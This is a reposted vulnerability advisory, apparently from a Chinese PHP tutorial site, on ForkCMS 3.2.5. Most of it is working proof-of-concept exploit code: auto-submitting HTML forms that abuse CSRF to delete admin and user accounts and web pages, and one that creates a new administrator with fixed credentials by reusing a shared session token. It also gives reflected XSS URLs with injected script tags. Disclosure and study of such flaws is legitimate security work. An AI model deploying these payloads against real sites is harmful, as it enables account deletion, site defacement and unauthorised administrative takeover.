来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 标题: ForkCMS 3.2.5 Multiple Vulnerabilities作者: Ivano Binetti www.2cto.com软件下载地址 : http://www.fork-cms.com/download程序开发商: http://www.fork-cms.com/影响版本: 3.2.5 and lowe......
|
标题: ForkCMS 3.2.5 Multiple Vulnerabilities
作者: Ivano Binetti www.2cto.com 软件下载地址 : http://www.fork-cms.com/download 程序开发商: http://www.fork-cms.com/ 影响版本: 3.2.5 and lower 测试系统: Debian Squeeze (6.0) +----多个缺陷 by Ivano Binetti ----------+ Summary 1)介绍 2)缺陷描述 2.1 CSRF 2.1.1 删除管理及普通用户 2.1.2 删除页面 2.1.3 提权 2.2 XSS (反射) 3)私人意见 -----------------------------------------------------------------+ 1)程序介绍 ForkCMS is a cms with an "intuitive and user friendly interface". 2)缺陷描述 ForkCMS 3.2.5 (and lower) suffers from CSRF and XSS (reflected) vulnerabilities. 2.1 CSRF ForkCMS 3.2.5 is prone to a CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages and do privilege escalation when an authenticated admin browses a web page containing the following html/javascript code. 2.1.1 Delete Admins or Users <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to delete ADMIN/USER account</H2> <form method="GET" name="form0" action="http:// www.2cto.com /private/en/users/delete?token=true&id=2"> </form> </body> </html> Note that the first id which is possible to delete is 2 because id 1 - named "Fork CMS"- is a superuser admin created during installation phase (ForkCMS define this user "GOD-user") . IDs's numeration is incremental. 2.1.2 Delete Web Pages <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to delete Web Pages</H2> <form method="GET" name="form0" action="http://127.0.0.1:80/private/en/pages/delete?token=true&id=405"> </form> </body> </html> NOte that first id is 405 and IDs's numeration is incremental. 2.1.3 Privilege Escalation ForkCMS uses a poor logic to manage sessions. It uses a parameter (called "form_token" and composed by 32 alphanumeric characters) to manage sessions but suppose that you are a normal (not admin) user which sign in into web management interface from the same machine (pc/notebook/server) and same browser of an administrator: ForkCMS will assign the same "form_token" for both so this logic will allow you to use your "form_token" id to create a new admin with the following code: <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add ADMIN account</H2> <form method="POST" name="form0" action="http:// www.2cto.com /private/en/users/add?token=true"> <input type="hidden" name="form" value="add"/> <input type="hidden" name="form_token" value="token_number"/> <input type="hidden" name="email" value="root@root.com"/> <input type="hidden" name="password" value="password"/> <input type="hidden" name="confirm_password" value="password"/> <input type="hidden" name="name" value="root"/> <input type="hidden" name="surname" value="root"/> <input type="hidden" name="nickname" value="root"/> <input type="hidden" name="avatar" value=""/> <input type="hidden" name="interface_language" value="en"/> <input type="hidden" name="date_format" value="j F Y"/> <input type="hidden" name="time_format" value="H:i"/> <input type="hidden" name="number_format" value="dot_nothing"/> <input type="hidden" name="csv_split_character" value=";"/> <input type="hidden" name="csv_line_ending" value="\n"/> <input type="hidden" name="active" value="Y"/> <input type="hidden" name="groups[]" value="1"/> </form> </body> </html> NOte that this logic is the same if you are two administrators or two normal users. Also note that with little changes to this exploit you can modify any ForkCMS parameters. 2.2 XSS (反射型) http://www.2cto.com /private/en/blog/settings?token=true&report=<script>alert("test")</script> http://www.2cto.com /private/en/users/index?token=true&error=<script>alert("test")</script> 3)个人意见 我认为随着安全的进步这是一款很棒的cms |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
